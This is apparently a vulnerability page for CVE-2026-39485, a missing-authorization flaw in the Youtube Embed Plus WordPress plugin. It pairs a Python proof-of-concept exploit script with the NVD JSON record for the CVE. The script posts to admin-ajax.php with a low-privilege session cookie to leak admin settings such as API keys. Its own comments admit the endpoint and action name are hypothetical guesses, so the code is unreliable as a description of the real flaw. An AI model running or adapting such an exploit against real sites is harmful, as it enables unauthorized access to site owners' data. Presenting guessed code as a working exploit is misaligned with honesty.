CVE-2026-39485

import requests # Exploit Title: Youtube Embed Plus < 14.2.4 - Missing Authorization PoC # Date: 2026-04-08 # CVE: CVE-2026-39485 # Description: This script demonstrates how a low-privileged user can access # restricted data due to missing authorization checks in the plugin. def exploit_missing_auth(target_url, session_cookie): """ Attempts to access a restricted endpoint using low-privilege cookies. """ # Target endpoint (hypothetical based on common plugin structure) # Adjust the endpoint based on the actual vulnerable route found in the plugin code url = f"{target_url}/wp-admin/admin-ajax.php" # Payload triggering the vulnerable action # 'action' parameter usually defines the function to call in WordPress plugins payload = { "action": "ytp_embed_plus_get_settings", "security": "mock_nonce" # Nonce might be missing or bypassed } # Headers simulating a logged-in user (Subscriber level) headers = { "Cookie": f"wordpress_logged_in_{session_cookie}" } try: response = requests.post(url, data=payload, headers=headers, timeout=10) # Check if response contains sensitive data usually reserved for admins if response.status_code == 200 and "api_key" in response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] Leaked Data:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:200]}") except Exception as e: print(f"[!] Error occurred: {e}") # Usage Example # target = "http://example.com" # cookie = "user_session_token_here" # exploit_missing_auth(target, cookie)

{"cve": {"id": "CVE-2026-39485", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:23.253", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in embedplus Youtube Embed Plus youtube-embed-plus allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Youtube Embed Plus: from n/a through <= 14.2.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/youtube-embed-plus/vulnerability/wordpress-youtube-embed-plus-plugin-14-2-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}